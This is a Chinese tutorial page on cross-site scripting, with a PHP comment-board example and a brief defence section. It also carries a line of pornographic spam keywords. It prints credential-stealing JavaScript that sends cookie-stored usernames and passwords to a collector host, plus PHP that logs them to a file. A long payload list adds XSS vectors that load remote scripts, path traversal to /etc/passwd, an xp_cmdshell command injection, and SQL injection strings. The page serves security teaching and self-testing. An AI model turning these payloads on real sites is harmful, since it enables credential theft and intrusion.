欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

跨站腳本攻擊XSS原理與防范實(shí)例分析

 更新時(shí)間:2019年04月27日 14:39:00   作者:謙行  
這篇文章主要介紹了跨站腳本攻擊XSS原理與防范,結(jié)合實(shí)例形式分析了跨站腳本攻擊XSS的原理、實(shí)現(xiàn)方法及防范技巧,需要的朋友可以參考下

本文實(shí)例講述了跨站腳本攻擊XSS原理與防范。分享給大家供大家參考,具體如下:

跨站腳本攻擊(Cross Site Script為了區(qū)別于CSS簡(jiǎn)稱為XSS)指的是惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。

一個(gè)簡(jiǎn)單的留言板

我們有個(gè)頁(yè)面用于允許用戶發(fā)表留言,然后在頁(yè)面底部顯示留言列表

<!DOCTYPE html>
<html>
<head>
 <?php include('/components/headerinclude.php');?></head>
 <style type="text/css">
  .comment-title{
   font-size:14px;
   margin: 6px 0px 2px 4px;
  }
  .comment-body{
   font-size: 14px;
   color:#ccc;
   font-style: italic;
   border-bottom: dashed 1px #ccc;
   margin: 4px;
  }
 </style>
 <script type="text/javascript" src="/js/cookies.js"></script>
<body>
 <form method="post" action="list.php">
  <div style="margin:20px;">
   <div style="font-size:16px;font-weight:bold;">Your Comment</div>
   <div style="padding:6px;">
    Nick Name:
    <br/>
    <input name="name" type="text" style="width:300px;"/>
   </div>
   <div style="padding:6px;">
    Comment:
    <br/>
    <textarea name="comment" style="height:100px; width:300px;"></textarea>
   </div>
   <div style="padding-left:230px;">
    <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
   </div>
   <div style="border-bottom:solid 1px #fff;margin-top:10px;">
    <div style="font-size:16px;font-weight:bold;">Comments</div>
   </div>
   <?php
    require('/components/comments.php');
    if(!empty($_POST['name'])){
     addElement($_POST['name'],$_POST['comment']);
    }
    renderComments();
   ?>
  </div>
 </form>
</body>
</html>

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,網(wǎng)頁(yè)看起來(lái)是這樣的

XSS

因?yàn)槲覀兺耆湃瘟擞脩糨斎?,但有些別有用心的用戶會(huì)像這樣的輸入

這樣無(wú)論是誰(shuí)訪問這個(gè)頁(yè)面的時(shí)候控制臺(tái)都會(huì)輸出“Hey you are a fool fish!”,如果這只是個(gè)惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會(huì)利用這個(gè)漏洞竊取用戶信息、誘騙人打開惡意網(wǎng)站或者下載惡意程序等,看個(gè)最簡(jiǎn)單的例子

利用xss竊取用戶名密碼

當(dāng)然這個(gè)示例很簡(jiǎn)單,幾乎攻擊不到任何網(wǎng)站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網(wǎng)站是直接用明文記錄用戶名、密碼,惡意用戶注冊(cè)賬戶登錄后使用簡(jiǎn)單工具查看cookie結(jié)構(gòu)名稱后,如果網(wǎng)站有xss漏洞,那么簡(jiǎn)單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會(huì)這么輸入

我們看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

幾句簡(jiǎn)單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php

發(fā)送了一個(gè)get請(qǐng)求

http://test.com/index.php

<?php
 if(!empty($_GET['password'])){
  $username=$_GET['username'];
  $password=$_GET['password'];
  try{
   $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
   $fp=fopen($path,'a');
   flock($fp, LOCK_EX);
   fwrite($fp, "$username\t $password\r\n");
   flock($fp, LOCK_UN);
   fclose($fp);
  }catch(Exception $e){
  }
 }
?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了

怎么預(yù)防

上面演示的是一個(gè)非常簡(jiǎn)單的XSS攻擊,還有很多隱蔽的方式,但是其核心都是利用了腳本注入,因此我們解決辦法其實(shí)很簡(jiǎn)單,不信賴用戶輸入,對(duì)特殊字符如”<”,”>”轉(zhuǎn)義,就可以從根本上防止這一問題,當(dāng)然很多解決方案都對(duì)XSS做了特定限制,如上面這中做法在ASP.NET中不幸不同,微軟validateRequest對(duì)表單提交自動(dòng)做了XSS驗(yàn)證。但防不勝防,總有些聰明的惡意用戶會(huì)到我們的網(wǎng)站搞破壞,對(duì)自己站點(diǎn)不放心可以看看下面這個(gè)XSS跨站測(cè)試代碼大全試試站點(diǎn)是否安全:

'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');" rel="external nofollow" >
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[ code]">
<IMG src="livescript:[ code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//" rel="external nofollow" >
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code ]

希望本文所述對(duì)大家網(wǎng)絡(luò)安全與維護(hù)有所幫助。

相關(guān)文章

最新評(píng)論